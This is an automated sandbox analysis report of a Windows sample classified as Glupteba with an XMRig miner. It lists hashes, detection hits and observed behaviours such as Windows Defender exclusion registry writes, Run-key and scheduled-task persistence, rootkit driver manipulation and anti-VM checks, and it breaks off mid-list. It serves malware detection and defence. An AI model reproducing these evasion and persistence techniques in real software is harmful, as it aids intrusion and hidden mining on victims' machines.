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Analysis
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max time kernel
299s -
max time network
303s -
platform
windows10-1703_x64 -
resource
win10-20240221-en -
resource tags
arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system -
submitted
06/03/2024, 05:02
Static task
static1
Behavioral task
behavioral1
Sample
f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe
Resource
win7-20240221-en
General
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Target
f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe
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Size
4.1MB
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MD5
49fcef0438d1ddbc6f53f2103c7b4a33
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SHA1
f425055c22acf139dfd4c68a77f6eabf709eeaca
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SHA256
f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b
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SHA512
d99cc195c8378d5c493630f18c425fe4cc1983bedbd458e86e8e8200641c9e6673f2cfc1a880ed1373d54c7222d38e069f050e590ae06c826a8f4f8918ad4a8c
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SSDEEP
98304:hK4sikCKwOcAgetL/sGWSUIwWMfGs/QNIJvvOO0g5iA92HBd:zsiRlTOFUIwWMfGJN8vOtg0A+
Malware Config
Signatures
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Glupteba payload 37 IoCs
resource yara_rule behavioral2/memory/4952-2-0x0000000004360000-0x0000000004C4B000-memory.dmp family_glupteba behavioral2/memory/4952-3-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/4952-302-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/4952-303-0x0000000004360000-0x0000000004C4B000-memory.dmp family_glupteba behavioral2/memory/796-306-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/796-801-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/796-1043-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1047-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1787-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1788-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1797-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1799-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1801-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1803-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1805-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1807-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1809-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1811-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1813-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1815-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1817-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1819-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1821-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1823-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1825-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1827-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-1829-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2088-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2139-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/4964-2143-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2369-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2589-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/4964-2596-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/4964-2598-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2607-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2782-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba behavioral2/memory/3484-2787-0x0000000000400000-0x00000000022EC000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe -
XMRig Miner payload 4 IoCs
resource yara_rule behavioral2/files/0x000700000001ac08-2081.dat family_xmrig behavioral2/files/0x000700000001ac08-2081.dat xmrig behavioral2/files/0x000700000001ac08-2083.dat family_xmrig behavioral2/files/0x000700000001ac08-2083.dat xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1004 netsh.exe -
Executes dropped EXE 9 IoCs
pid Process 3484 csrss.exe 3684 injector.exe 1788 windefender.exe 392 windefender.exe 2060 dcb505dc2b9d8aac05f4ca0727f5eadb.exe 3968 wup.exe 4964 csrss.exe 4108 713674d5e968cbe2102394be0b2bae6f.exe 4216 1bf850b4d9587c1017a75a47680584c4.exe -
resource yara_rule behavioral2/files/0x000700000001ac04-1791.dat upx behavioral2/memory/1788-1796-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/392-1798-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/392-1802-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/files/0x000800000001ac05-2076.dat upx behavioral2/memory/2060-2084-0x0000000000400000-0x00000000008E1000-memory.dmp upx behavioral2/files/0x000800000001ac0a-2602.dat upx behavioral2/files/0x000700000001ac0b-2777.dat upx behavioral2/memory/4108-2780-0x0000000000070000-0x000000000093D000-memory.dmp upx behavioral2/memory/4216-2785-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/memory/4108-2788-0x0000000000070000-0x000000000093D000-memory.dmp upx behavioral2/memory/4216-2790-0x0000000000400000-0x00000000008E8000-memory.dmp upx -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe = "0" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2852630833-2010812756-3750823755-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (str) \REGISTRY\USER\S-1-5-21-2852630833-2010812756-3750823755-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
description ioc Process File opened for modification \??\WinMon csrss.exe -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 13 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\rss f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe File created C:\Windows\rss\csrss.exe f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4636 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2940 schtasks.exe 4756 schtasks.exe -
GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 48 Go-http-client/1.1 HTTP User-Agent header 52 Go-http-client/1.1 HTTP User-Agent header 53 Go-http-client/1.1 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-12 = "Azores Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-391 = "Arab Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2572 = "Turks and Caicos Standard Time" windefender.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-441 = "Arabian Daylight Time" windefender.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1411 = "Syria Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-362 = "GTB Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-751 = "Tonga Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-142 = "Canada Central Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1932 = "Russia TZ 11 Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time" windefender.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1048 powershell.exe 1048 powershell.exe 1048 powershell.exe 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 3552 powershell.exe 3552 powershell.exe 3552 powershell.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 4132 powershell.exe 4132 powershell.exe 4132 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 1296 powershell.exe 1296 powershell.exe 1296 powershell.exe 3972 powershell.exe 3972 powershell.exe 3972 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3484 csrss.exe 3484 csrss.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3484 csrss.exe 3484 csrss.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3684 injector.exe 3484 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1048 powershell.exe Token: SeDebugPrivilege 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Token: SeImpersonatePrivilege 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe Token: SeDebugPrivilege 3552 powershell.exe Token: SeDebugPrivilege 4132 powershell.exe Token: SeDebugPrivilege 4724 powershell.exe Token: SeDebugPrivilege 1296 powershell.exe Token: SeDebugPrivilege 3972 powershell.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeSystemEnvironmentPrivilege 3484 csrss.exe Token: SeSecurityPrivilege 4636 sc.exe Token: SeSecurityPrivilege 4636 sc.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeLockMemoryPrivilege 3968 wup.exe Token: SeDebugPrivilege 1484 powershell.exe Token: SeDebugPrivilege 2200 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3968 wup.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 4952 wrote to memory of 1048 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 75 PID 4952 wrote to memory of 1048 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 75 PID 4952 wrote to memory of 1048 4952 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 75 PID 796 wrote to memory of 3552 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 80 PID 796 wrote to memory of 3552 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 80 PID 796 wrote to memory of 3552 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 80 PID 796 wrote to memory of 4280 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 82 PID 796 wrote to memory of 4280 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 82 PID 4280 wrote to memory of 1004 4280 cmd.exe 84 PID 4280 wrote to memory of 1004 4280 cmd.exe 84 PID 796 wrote to memory of 4132 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 85 PID 796 wrote to memory of 4132 796 f7b559aba81a1e570a4b589ceffbd83cb9914d38a8e943a4c0c7ae21f30ee60b.exe 85 PID 796 wrote to memory of 4132 796 